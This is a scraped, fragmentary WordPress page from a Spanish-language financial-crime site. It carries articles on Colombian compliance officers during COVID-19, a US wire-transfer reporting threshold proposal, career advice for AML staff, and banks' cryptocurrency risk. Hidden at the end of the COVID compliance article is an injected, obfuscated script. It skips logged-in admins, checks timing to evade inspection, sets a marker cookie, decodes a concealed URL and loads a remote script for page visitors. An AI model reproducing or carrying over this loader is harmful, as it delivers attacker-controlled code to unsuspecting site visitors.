21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los 